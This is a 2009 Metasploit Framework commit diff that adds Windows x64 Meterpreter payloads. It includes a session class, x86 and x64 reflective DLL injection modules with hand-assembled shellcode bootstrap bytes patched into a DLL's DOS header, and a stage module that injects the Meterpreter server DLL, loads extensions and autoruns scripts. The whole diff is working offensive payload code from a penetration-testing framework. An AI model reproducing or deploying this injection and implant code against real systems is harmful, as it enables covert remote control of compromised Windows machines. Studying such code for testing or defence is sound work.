Initial commit of the windows x64 meterpreter payloads!

git-svn-id: file:///home/svn/framework3/trunk@6997 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Stephen Fewer 2009-09-03 17:47:21 +00:00
parent cf0f690e4d
commit 40ca641a96
4 changed files with 253 additions and 48 deletions

View File

@ -0,0 +1,21 @@
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_x64_Win < Msf::Sessions::Meterpreter
def self.platform
'x64/win64'
end
def self.binary_suffix
'x64.dll'
end
end
end
end

View File

@ -1,19 +1,17 @@
# Copyright (c) 2008 Stephen Fewer of Harmony Security (www.harmonysecurity.com)
require 'msf/core' require 'msf/core'
require 'rex/peparsey' require 'rex/peparsey'
module Msf module Msf
#module Payloads
#module Stages
#module Windows
### ###
# #
# ReflectiveDllInject common module stub that is meant to be included in payloads # Common module stub for ARCH_X86 payloads that make use of Reflective DLL Injection.
# that make use of Reflective DLL Injection.
# #
### ###
module Payload::Windows::ReflectiveDllInject module Payload::Windows::ReflectiveDllInject
include Msf::Payload::Windows include Msf::Payload::Windows
@ -21,16 +19,27 @@ module Payload::Windows::ReflectiveDllInject
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Reflective Dll Injection', 'Name' => 'Reflective Dll Injection',
'Version' => '0.1', 'Version' => '$Revision$',
'Description' => 'Inject a Dll via a reflective loader', 'Description' => 'Inject a Dll via a reflective loader',
'Author' => [ 'Stephen Fewer <info@harmonysecurity.com>' ], 'Author' => [ 'Stephen Fewer <stephen_fewer[at]harmonysecurity[dot]com>' ],
'References' => [ [ 'URL', 'http://www.harmonysecurity.com/ReflectiveDllInjection.html' ] ], 'References' => [ [ 'URL', 'http://www.harmonysecurity.com/ReflectiveDllInjection.html' ] ],
'Platform' => 'win', 'Platform' => 'win',
'Arch' => ARCH_X86, 'Arch' => ARCH_X86,
'PayloadCompat' => { 'Convention' => 'sockedi' }, 'PayloadCompat' =>
'Stage' => { 'Offsets' => { 'EXITFUNC' => [ 33, 'V' ] }, 'Payload' => "" } )) {
'Convention' => 'sockedi'
},
'Stage' =>
{
'Offsets' =>
{
'EXITFUNC' => [ 33, 'V' ]
},
'Payload' => ""
}
))
register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], ReflectiveDllInject ) register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], self.class )
end end
def library_path def library_path
@ -39,14 +48,10 @@ module Payload::Windows::ReflectiveDllInject
def stage_payload def stage_payload
dll = "" dll = ""
index = 0
offset = 0 offset = 0
# read in and parse the dll file...
begin begin
File.open( library_path, "rb" ) { |f| File.open( library_path, "rb" ) { |f| dll += f.read }
dll += f.read
}
pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) ) pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) )
@ -57,17 +62,15 @@ module Payload::Windows::ReflectiveDllInject
end end
end end
if offset == 0 raise "Can't find an exported ReflectiveLoader function!" if offset == 0
raise "Can't find an exported ReflectiveLoader function!"
end
rescue rescue
print_error( "Failed to read and parse Dll file: #{$!}" ) print_error( "Failed to read and parse Dll file: #{$!}" )
return return
end end
# generate our bootstrap code... exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration
bootstrap =
"\x4D" + # dec ebp ; M bootstrap = "\x4D" + # dec ebp ; M
"\x5A" + # pop edx ; Z "\x5A" + # pop edx ; Z
"\xE8\x00\x00\x00\x00" + # call 0 ; call next instruction "\xE8\x00\x00\x00\x00" + # call 0 ; call next instruction
"\x5B" + # pop ebx ; get our location (+7) "\x5B" + # pop ebx ; get our location (+7)
@ -82,17 +85,19 @@ module Payload::Windows::ReflectiveDllInject
"\x68\x04\x00\x00\x00" + # push 0x4 ; signal we have attached "\x68\x04\x00\x00\x00" + # push 0x4 ; signal we have attached
"\x50" + # push eax ; some value for hinstance "\x50" + # push eax ; some value for hinstance
"\xFF\xD0" + # call eax ; call DllMain( somevalue, DLL_METASPLOIT_ATTACH, socket ) "\xFF\xD0" + # call eax ; call DllMain( somevalue, DLL_METASPLOIT_ATTACH, socket )
"\x68\xE0\x1D\x2A\x0A" + # push 0x0A2A1DE0 ; our EXITFUNC placeholder (Default to ExitThread for migration) "\x68" + exit_funk + # push 0x???????? ; our EXITFUNC placeholder
"\x68\x05\x00\x00\x00" + # push 0x5 ; signal we have detached "\x68\x05\x00\x00\x00" + # push 0x5 ; signal we have detached
"\x50" + # push eax ; some value for hinstance "\x50" + # push eax ; some value for hinstance
"\xFF\xD3" # call ebx ; call DllMain( somevalue, DLL_METASPLOIT_DETACH, exitfunk ) "\xFF\xD3" # call ebx ; call DllMain( somevalue, DLL_METASPLOIT_DETACH, exitfunk )
# ; we only return if we don't set a valid EXITFUNC
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if( bootstrap.length > 62 )
print_error( "Reflective Dll Injection (x86) generated an oversized bootstrap!" )
return
end
# patch the bootstrap code into the dll's DOS header... # patch the bootstrap code into the dll's DOS header...
while index < bootstrap.length dll[ 0, bootstrap.length ] = bootstrap
dll[ index ] = bootstrap[ index ]
index += 1
end
# return our stage to be loaded by the intermediate stager # return our stage to be loaded by the intermediate stager
return dll return dll

View File

@ -0,0 +1,108 @@
require 'msf/core'
require 'rex/peparsey'
module Msf
###
#
# Common module stub for ARCH_X86_64 payloads that make use of Reflective DLL Injection.
#
###
module Payload::Windows::ReflectiveDllInject_x64
include Msf::Payload::Windows
def initialize(info = {})
super(update_info(info,
'Name' => 'Reflective Dll Injection',
'Version' => '$Revision$',
'Description' => 'Inject a Dll via a reflective loader',
'Author' => [ 'Stephen Fewer <stephen_fewer[at]harmonysecurity[dot]com>' ],
'References' => [ [ 'URL', 'http://www.harmonysecurity.com/ReflectiveDllInjection.html' ] ],
'Platform' => 'win',
'Arch' => ARCH_X86_64,
'PayloadCompat' =>
{
'Convention' => 'sockrdi'
},
'Stage' =>
{
'Offsets' =>
{
'EXITFUNC' => [ 47, 'V' ]
},
'Payload' => ""
}
))
register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], self.class )
end
def library_path
datastore['DLL']
end
def stage_payload
dll = ""
offset = 0
begin
File.open( library_path, "rb" ) { |f| dll += f.read }
pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) )
pe.exports.entries.each do |entry|
if( entry.name =~ /^\S*ReflectiveLoader\S*/ )
offset = pe.rva_to_file_offset( entry.rva )
break
end
end
raise "Can't find an exported ReflectiveLoader function!" if offset == 0
rescue
print_error( "Failed to read and parse Dll file: #{$!}" )
return
end
exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration
bootstrap = "\x4D\x5A" + # pop r10 ; pop r10 = 'MZ'
"\x41\x52" + # push r10 ; push r10 back
"\x55" + # push rbp ; save ebp
"\x48\x89\xE5" + # mov rbp, rsp ; setup fresh stack frame
"\x48\x81\xEC\x20\x00\x00\x00" + # sub rsp, 32 ; alloc some space for calls
"\x48\x8D\x1D\xEA\xFF\xFF\xFF" + # lea rbx, [rel+0] ; get virtual address for the start of this stub
"\x48\x81\xC3" + [offset].pack( "V" ) + # add rbx, 0x???????? ; add offset to ReflectiveLoader
"\xFF\xD3" + # call rbx ; call ReflectiveLoader()
"\x48\x89\xC3" + # mov rbx, rax ; save DllMain for second call
"\x49\x89\xF8" + # mov r8, rdi ; R8 = our socket
"\x68\x04\x00\x00\x00" + # push 4 ;
"\x5A" + # pop rdx ; RDX = signal we have attached
"\xFF\xD0" + # call rax ; call DllMain( somevalue, DLL_METASPLOIT_ATTACH, socket )
"\x41\xB8" + exit_funk + # mov r8d, 0x???????? ; our EXITFUNC placeholder
"\x68\x05\x00\x00\x00" + # push 5 ;
"\x5A" + # pop rdx ; signal we have detached
"\xFF\xD3" # call rbx ; call DllMain( somevalue, DLL_METASPLOIT_DETACH, exitfunk )
# the DOS headers e_lfanew entry will begin here at offset 64.
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if( bootstrap.length > 62 )
print_error( "Reflective Dll Injection (x64) generated an oversized bootstrap!" )
return
end
# patch the bootstrap code into the dll's DOS header...
dll[ 0, bootstrap.length ] = bootstrap
# return our stage to be loaded by the intermediate stager
return dll
end
end
end

View File

@ -0,0 +1,71 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/payload/windows/x64/reflectivedllinject'
require 'msf/base/sessions/meterpreter_x64_win'
###
#
# Injects the x64 meterpreter server DLL via the Reflective Dll Injection payload
#
###
module Metasploit3
include Msf::Payload::Windows::ReflectiveDllInject_x64
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows x64 Meterpreter',
'Version' => '$Revision$',
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (Windows x64)',
'Author' => [ 'Stephen Fewer <stephen_fewer[at]harmonysecurity[dot]com>' ],
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_x64_Win
))
register_advanced_options(
[
OptBool.new( 'AutoLoadStdapi',
[
true,
"Automatically load the Stdapi extension",
true
] ),
OptString.new( 'AutoRunScript', [ false, "Script to autorun on meterpreter session creation", '' ] )
], self.class )
options.remove_option( 'LibraryName' )
options.remove_option( 'DLL' )
end
def library_path
File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.x64.dll" )
end
def on_session( session )
super
if( datastore['AutoLoadStdapi'] == true )
session.load_stdapi
if( framework.exploits.create( session.via_exploit ).privileged? )
session.load_priv
end
end
if( datastore['AutoRunScript'].empty? == false )
client = session
args = datastore['AutoRunScript'].split
session.execute_script( args.shift, binding )
end
end
end